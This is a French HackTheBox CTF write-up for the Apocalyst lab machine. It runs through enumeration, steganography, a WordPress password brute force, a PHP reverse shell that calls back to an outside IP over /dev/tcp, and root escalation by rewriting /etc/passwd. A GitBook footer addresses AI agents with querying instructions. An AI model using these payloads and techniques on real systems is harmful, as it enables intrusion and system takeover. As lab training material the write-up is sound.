> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md). # Compte rendu HackTheBox de Apocalyst {% embed url="" %} {% hint style="warning" %} **Compétences :** * Énumération WordPress * Défi de stéganographie d'image - Steghide * Fuite d'informations - Énumération des utilisateurs * Exploitation WordPress - Éditeur de thème (RCE) * Exploitation de permissions mal configurées (élévation de privilèges) {% endhint %} ## Reconnaissance **Configuration de l'espace de travail :** Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

**Vérification de la connectivité VPN** Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

**Découverte des ports ouverts avec Nmap :** Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap : ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts ```

**Scan de versions des ports avec Nmap (22.80) :** Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" : ```bash nmap -sCV -p22,80 10.10.10.46 -oN targeted ```

Nous détectons un site WordPress, mais la résolution de domaine est mal configurée.

Nous ajoutons l'entrée suivante à */etc/hosts*:

## **Exploration du site WordPress**

#### **Identifier un utilisateur valide** Nous trouvons un utilisateur valide : **falaraki**.

#### **Exploitation SSH** Comme la version de SSH est obsolète, nous pouvons utiliser un exploit pour valider l'utilisateur sur le système : ```bash searchsploit -m linux/remote/45939.py ```

Valider que l'utilisateur existe : ```bash python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null ```

#### Donc pour WordPress :

### **Listage WordPress** Nous utilisons *wfuzz* pour rechercher des répertoires intéressants : {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} Ce scan détecte plusieurs pages renvoyant un code 301, redirigeant vers une image.

Nous filtrons ensuite par la longueur du texte (157) : {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L ``` {% endcode %} Aucun résultat intéressant.

### **Création d'un dictionnaire personnalisé - CEWL** Nous générons un dictionnaire basé sur le site web :

Utilisez **Cewl** pour générer un dictionnaire basé sur le site web : ```bash cewl -w list.txt http://apocalyst.htb/ ```

Nouvelle reconnaissance avec *wfuzz*: {% code overflow="wrap" %} ```bash wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L ``` {% endcode %} Nous trouvons le **`Rightiousness`** répertoire.

### **Analyse de stéganographie avec Steghide** Nous enregistrons l'image et l'analysons : 1. Vérification de la présence de données cachées dans l'image :

Vérification de la présence de données cachées dans l'image : ```bash steghide info image.jpg ```

Extraction des données cachées : ```bash steghide extract -sf image.jpg ```

Un *list.txt* le fichier contenant des mots est généré

### **Attaque par force brute sur WordPress**


/pages/52a2f92e8ff7cdceb9ac771d684e022d0f9a317f

Nous lançons une attaque par force brute avec *wpscan*, en exploitant *xmlrpc.php* qui est actif : ```bash wpscan --url http://apocalyst.htb -U falaraki -P list.txt ``` Nous trouvons **falaraki**mot de passe de **Transclisiation**.

### **Exploitation WordPress - Exécution de code à distance (RCE)**

Nous modifions le *404.php* fichier et y injecter un reverse shell : ```php & /dev/tcp/10.10.14.50/443 0>&1'") ?> ``` À l'écoute sur le port 443 : ```bash nc -nvlp 443 ```

Exécution du shell via *curl*: ```bash curl -s -X GET "http://apocalyst.htb/?p=404.php" ```

#### Session de shell améliorée : ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Drapeau user.txt :)

## **Élévation de privilèges** ### **Gestion des permissions (`/etc/passwd`)** ```bash find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys" ``` Nous voyons que */etc/passwd* est modifiable.

Création d'un mot de passe chiffré avec OpenSSL : ``` openssl passwd -1 -salt WylYIBz9 jordan ```

Ce qui génère : * $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/ Nous remplaçons la ligne root dans */etc/passwd* par notre hachage.

Connexion en tant que root :

### Drapeau root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.